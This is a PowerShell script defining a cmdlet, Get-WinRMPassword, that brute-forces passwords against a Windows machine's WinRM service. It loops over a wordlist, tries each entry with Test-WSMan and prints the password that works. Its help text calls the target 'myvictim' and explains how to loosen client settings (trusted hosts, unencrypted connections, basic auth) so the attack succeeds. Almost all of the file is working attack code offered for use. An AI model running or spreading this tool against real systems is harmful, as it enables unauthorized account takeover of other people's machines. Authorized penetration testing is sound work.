Function Get-WinRMPassword { <# .SYNOPSIS Simple bruteforce attack upon a Windows machine running WinRM .DESCRIPTION This CMDLet will perform a simplistic bruteforce attack upon a Windows Server or Client running WinRM in either a domain joined or workgroup configuration. The CMDLet will try each UserName + Password Combination until a sucessfuly entry is found or the list is exhausted. If nothing is output, then .PARAMETER UserName The username you wish to gain entry with .PARAMETER ComputerName Target machine .PARAMETER wordlist String path to file containing list of words/passwords .PARAMETER Authentication WinRM auth mechanism, defaults to Negotiate (should work on most systems). See the specifics of the Authentication parameter in test-wsman. .PARAMETER UseSSL Specifies that the Secure Sockets Layer (SSL) protocol should be used to establish a connection to the remote computer. By default, SSL is not used. .EXAMPLE get-winrmpassword -UserName Administrator -ComputerName myvictim -WordList c:\mywordlist.txt Will read mywordlist.txt and for each entry in that list, try Administrator: .NOTES If you are not in a domain joined (running workgroup), then you should do the following: 1. Add the "target" to the WinRM trusted hosts - winrm set winrm/config/client @{TrustedHosts="victim"} 2. You may need to enable "unencrypted" (http connections) - winrm set winrm/config/client @{AllowUnencrypted="true"} 3. You may need to enable basic auth - winrm set winrm/config/client/auth @{Basic="true"} .INPUTS None This cmdlet does not accept any input. .OUTPUTS None This cmdlet does not generate any output object .LINK http://aperturescience.su/ #> [CMDLetBinding()] param ( [Parameter(mandatory=$true)] [String] $username, [Parameter(mandatory=$true)] [String] $ComputerName, [Parameter(mandatory=$true)] [String] $wordlist, [String] $Authentication = "Negotiate", [switch] $UseSSL ) #read word list (consider pipeline for performance) $wordlistentries = Get-Content $wordlist foreach ($entry in $wordlistentries) { Write-Verbose "Trying $entry" #make a secure string, and then a pscredentials object with username and password $securepassword = ConvertTo-SecureString $entry -AsPlainText -Force $pscredentials = New-Object System.Management.Automation.PSCredential ($username, $securepassword) #clear error listing $Error.clear() #run the test, taking into account the SSL status if ($UseSSL) { Test-WSMan -ComputerName $ComputerName -Credential $pscredentials -Authentication $Authentication -erroraction SilentlyContinue -UseSSL | Out-Null } else { Test-WSMan -ComputerName $ComputerName -Credential $pscredentials -Authentication $Authentication -erroraction SilentlyContinue | Out-Null } #put the first error into a variable (best practice) $ourerror = $error[0] # if there is no error, then we were successfull, else, was it a username or password error? if it wasn't username/password incorrect, something else is wrong so break the look if ($ourerror -eq $null) { "Password Found: $entry" break } elseif (-not $ourerror.ErrorDetails.Message.Contains("The user name or password is incorrect.")) { "Check the settings, confirm host is in TrustedHosts, confirm hostname, check for SSL etc, $($ourerror.ErrorDetails.Message)" break } else { Write-Debug "$($ourerror.ErrorDetails.Message)" } } }